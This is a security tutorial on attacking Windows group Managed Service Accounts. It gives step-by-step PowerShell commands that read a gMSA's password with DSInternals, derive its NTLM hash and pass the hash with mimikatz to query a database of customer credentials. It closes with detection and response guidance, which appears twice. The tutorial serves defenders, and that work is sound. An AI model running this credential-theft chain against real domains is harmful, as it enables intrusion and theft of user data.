Group Managed Service Accounts Attack
Managed Service Accounts (MSAs), now known as standalone Managed Service Accounts (sMSAs), were introduced in Windows Server 2008R2 and Windows 7. They provide Active Directory-managed automatic password management and delegated management for service accounts on a single system. For Windows Server 2012 and Windows 8, Microsoft added group Managed Service Accounts (gMSAs), which supercede sMSAs and add the capability of using the same service account across multiple systems.
Service accounts are a frequent target for adversaries because they can provide the privileges needed to complete their mission. The passwords for gMSAs are stored in Active Directory in the msDS-ManagedPassword attribute of the gMSA object. Adversaries can leverage compromised privileges to exploit a gMSA by accessing its password. For example, the computer account (i.e., process running as NT AUTHORITY\SYSTEM) for any system running a service under the gMSA identity is able to access the password.
Attack Tutorial: How Group Managed Service Accounts Attack Works
In this example, an adversary has exploited a vulnerability in a popular content management system (CMS) that permits remote code execution on the web server. They discovered that the poorly configured CMS is running as NT AUTHORITY\SYSTEM and enumerate the identities under which other websites on the server are running, finding the SvcCustomerWeb$ gMSA.
PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> Import-Module WebAdministration
PS C:\Windows\system32> Get-ChildItem "IIS:\AppPools" | Foreach-Object {
>> $AppPoolName = $_.Name; (Get-Item "IIS:\AppPools\$($_.Name)").processModel |
>> Select @{Name = "AppPoolName"; Expression = {$AppPoolName}}, identityType, userName }
AppPoolName identityType userName
----------- ------------ --------
.NET v4.5 ApplicationPoolIdentity
.NET v4.5 Classic ApplicationPoolIdentity
ContentManagementSystem LocalSystem
CustomerWebsite SpecificUser SvcCustomerWeb$
DefaultAppPool ApplicationPoolIdentity
PS C:\Windows\system32>
PS C:\Windows\system32> Install-Module -Name DSInternals -Force
PS C:\Windows\system32> Import-Module DSInternals
# Acquire gMSA password
PS C:\Windows\system32> $gMSA = ConvertFrom-ADManagedPasswordBlob (Get-ADServiceAccount SvcCustomerWeb -prop 'msDS-ManagedPassword' | Select -expand 'msDS-ManagedPassword')
# Obtain plaintext password as 128 UTF-16 characters. Note: these characters don't render well in PowerShell, so we suggest outputing the password to a file:
# e.g.: $gMSA.CurrentPassword | Out-File gMSAPassword.txt
PS C:\Windows\system32> $gMSA.CurrentPassword
ﻛୄ㫢沬뛩톈ᒰ枭로挴ꦯ黯刳䛹㍶鴝ꠅꨜ♤ཙ㘩惦鷧౨⮎鹲좺ﯞ蓼䩿뻞έ恤ㇴ倹⤇쁻ຌ௫Я딝㌥頪園ᢜ䵼烗ₖ鍥쨼蟎ꠡ샄ℳ⽇፬⸗睎능찈숦ﭳⲭ鎚㰽韹땦쪪騌 ힾ낝鋹员㾶쟟㳍ْ痪Л፝堪澴캄畩ʛ뛅ꔭ궡٬鹕☑늭颹躱煉㘬ꇶ蓾蕳Ḙ蝅葳⸕獜쑨罹祇諾쨒槖켥ꁼᏣ
# Obtain NTLM hash
PS C:\Windows\system32> ConvertTo-NTHash $gMSA.SecureCurrentPassword
9a9865e4a0412c6a726ec31568cbebc7
PS C:\Windows\system32>
PS C:\Windows\system32> mimikatz.exe "sekurlsa::pth /user:SvcCustomerWeb$ /domain:domain.com /ntlm:9a9865e4a0412c6a726ec31568cbebc7" exit
# A new command prompt opens
C:\Windows\system32>mssql-cli --server dbserver --username "domain\SvcCustomerWeb$" --integrated --query "SELECT SYSTEM_USER; SELECT * FROM [CustomerApp].[dbo].[Customers];"
+--------------------------+
| (No column name) |
|--------------------------|
| DOMAIN\SvcCustomerWeb$ |
+--------------------------+
(1 row affected)
+--------------+-------------+-----------+----------------------------+------------------------------------------+
| customerId | givenName | surName | email | password |
|--------------+-------------+-----------+----------------------------+------------------------------------------|
| 1 | Bob | Jones | bjones@stealthbitslab.com | 6367c48dd193d56ea7b0baad25b19455e529f5ee |
| 2 | Suzy | Smith | smith@stealthbitslab.com | 5d04c4864322580108f66e0e64c89a9aa31aef56 |
| 3 | Amy | Hawkes | ahawkes@stealthbitslab.com | bf8ffd3a80b00c3a8bf9aca2edcae9203ab7837e |
| 4 | Jill | Paul | jpaul@stealthbitslab.com | 3e8e521392424218e6e1b12c6d8803ba0a8645cf |
+--------------+-------------+-----------+----------------------------+------------------------------------------+
(4 rows affected)
Detect, Mitigate and Respond
Event ID 4662 in the subcategory Audit Directory Service Access audits basic information about users performing operations within Active Directory for events specified in an object's system access control list (SACL).
Using this event, it is possible to see when a user reads a gMSA password. To identify these events, filter the event logs for:
- Operation Type: Object Access
- Accesses: Read Property
- Properties: Includes the GUID {e362ed86-b728-0842-b27d-2dea7a9df218} This is the GUID of the msDS-ManagedPassword attribute.
- Routinely audit permissions to modify gMSA accounts and aggressively embrace the principle of least privilege.
- Routinely audit the membership of the msDS-GroupMSAMembership attribute on each gMSA and ensure that only authorized computer accounts are granted privileges to access the password.
- Alert, in real-time, on changes to gMSA permissions.
- Activate the incident response process and alert the response team.
- Reset the password of the user who performed the action and optionally disable that user in order to a) force instantaneous replication to all domain controllers and b) disrupt the adversary's use of that account.
- Reset the password for the affected gMSA.
- Quarantine the impacted machines for forensic investigation, as well as eradication and recovery activities.
Event ID 4662 in the subcategory Audit Directory Service Access audits basic information about users performing operations within Active Directory for events specified in an object's system access control list (SACL).
Using this event, it is possible to see when a user reads a gMSA password. To identify these events, filter the event logs for:
- Operation Type: Object Access
- Accesses: Read Property
- Properties: Includes the GUID {e362ed86-b728-0842-b27d-2dea7a9df218} This is the GUID of the msDS-ManagedPassword attribute.
- Routinely audit permissions to modify gMSA accounts and aggressively embrace the principle of least privilege.
- Routinely audit the membership of the msDS-GroupMSAMembership attribute on each gMSA and ensure that only authorized computer accounts are granted privileges to access the password.
- Alert, in real-time, on changes to gMSA permissions.
- Activate the incident response process and alert the response team.
- Reset the password of the user who performed the action and optionally disable that user in order to a) force instantaneous replication to all domain controllers and b) disrupt the adversary's use of that account.
- Reset the password for the affected gMSA.
- Quarantine the impacted machines for forensic investigation, as well as eradication and recovery activities.
MITRE ATT&CK® and ATT&CK® are registered trademarks of The MITRE Corporation.